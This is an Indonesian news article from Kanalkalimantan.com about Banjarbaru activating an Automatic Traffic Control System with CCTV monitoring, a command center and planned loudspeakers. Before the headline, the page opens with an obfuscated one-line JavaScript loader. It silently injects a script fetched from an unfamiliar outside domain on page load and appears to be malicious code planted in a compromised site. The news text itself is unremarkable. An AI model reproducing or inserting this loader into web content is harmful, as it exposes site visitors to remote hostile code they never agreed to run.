(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Banjarbaru Aktifkan ATCS, Pantau Arus Lalu Lintas dari Jarak Jauh

KANALKALIMNATAN.COM, BANJARBARU – Persimpangan dan ruas jalan utama di Kota Banjarbaru kini telah diawasi oleh Automatic Traffic Control System (ATCS). Sistem pengendalian lalu lintas yang terintegrasi melalui ruang kontrol menjadi jawaban atas persoalan kemacetan di Ibu Kota Provinsi Kalimantan Selatan (Kalsel).

Kepala Dinas Perhubungan Banjarbaru, Marhain Rahman, melalui Sekretaris Dinas Perhubungan, Ahmad Syarief Nizami, mengakui bahwa ATCS sendiri telah diaktifkan sejak Jum’at (6/5/2022) hari ini. Pihaknya sendiri juga telah melakukan uji coba sistem ini dalam seminggu terakhir.

“Sistem ATCS ini digagas secara langsung oleh bapak Wali Kota Banjarbaru untuk segera dipasang. Bahkan beliau secara langsung memaparkan kebutuhan sarana prasarana lalu lintas ini ke Jenderal Perhubungan darat Kemenhub RI,” katanya, Jum’at (6/5/2022).

Dijelaskan Nizam -akrab disapa- bahwa untuk saat ini, ATCS di Banjarbaru ditempatkan di dua titik yang berbeda. Adapun lokasinya ialah di area lampu lalu lintas atau trafic light di jalan A Yani Km 33 dan trafic light depan Mako Brimob Polda Kalsel.

Personel Dishub Banjarbaru saat melakukan pengawasan lalu lintas di Banjarbaru melalui sistem ATCS. Foto : ist

“Pemilihan dua lokasi ini karena kami menilai di persimpangan ini memiliki arus lalu lintas cukup padat. Untuk sementara saja kita memiliki 12 kamera CCTV. Tapi ini sementara saja. Rencananya tahun depan akan kita tambah lagi, salah satu fokus kita di jalan Panglima Batur,” bebernya.

Pemantauan arus lalu lintas melalui sistem ATCS ini dipusatkan di kantor Dinas Perhubungan Kota Banjarbaru, tepatnya di ruang Command Center ATCS Kota Banjarbaru. Dalam satu harinya, setidaknya ada 5 personel terlatih yang ditugaskan untuk melakukan pengawasan melalui ruang kontrol tersebut.

Menurut Nizam, pengembangan ATCS di Kota Banjarbaru akan terus dikebut selama beberapa waktu ke depan. Seperti halnya dilengkapi dengan sistem pengeras suara yang bertujuan untuk memberikan informasi kepada pengendara.

“Dengan sistem pengeras suara ini, kita bisa memberikan informasi pengendara jika melanggar aturan misalnya tidak pakai helm, melawan arus. Semuanya melalui dari ruang kontrol ATCS,” bebernya.

Personel Dishub Banjarbaru saat melakukan pengawasan lalu lintas di Banjarbaru melalui sistem ATCS. Foto : ist

Di sisi lain, Wali Kota Banjarbaru, Aditya Mufti Ariffin, menerangkan pengaktifan sistem ATCS diharapkan menjadi solusi utama dalam mengurai kondisi kemacetan jalan. Terkhusus saat fase libur panjang yang mana berimbas pada tingginya volume kendaraan di jalan.

“Rencananya ATCS ini akan kita resmikan. Semoga dengan adanya sistem pengendalian lalu lintas ini dapat mewujudkan keamanan, keselamatan, ketertiban serta kelancaran dalam berlalu-lintas di Kota Banjarbaru,” tuntasnya. (Kanalkalimantan.com/al)

Reporter : al
Editor : kk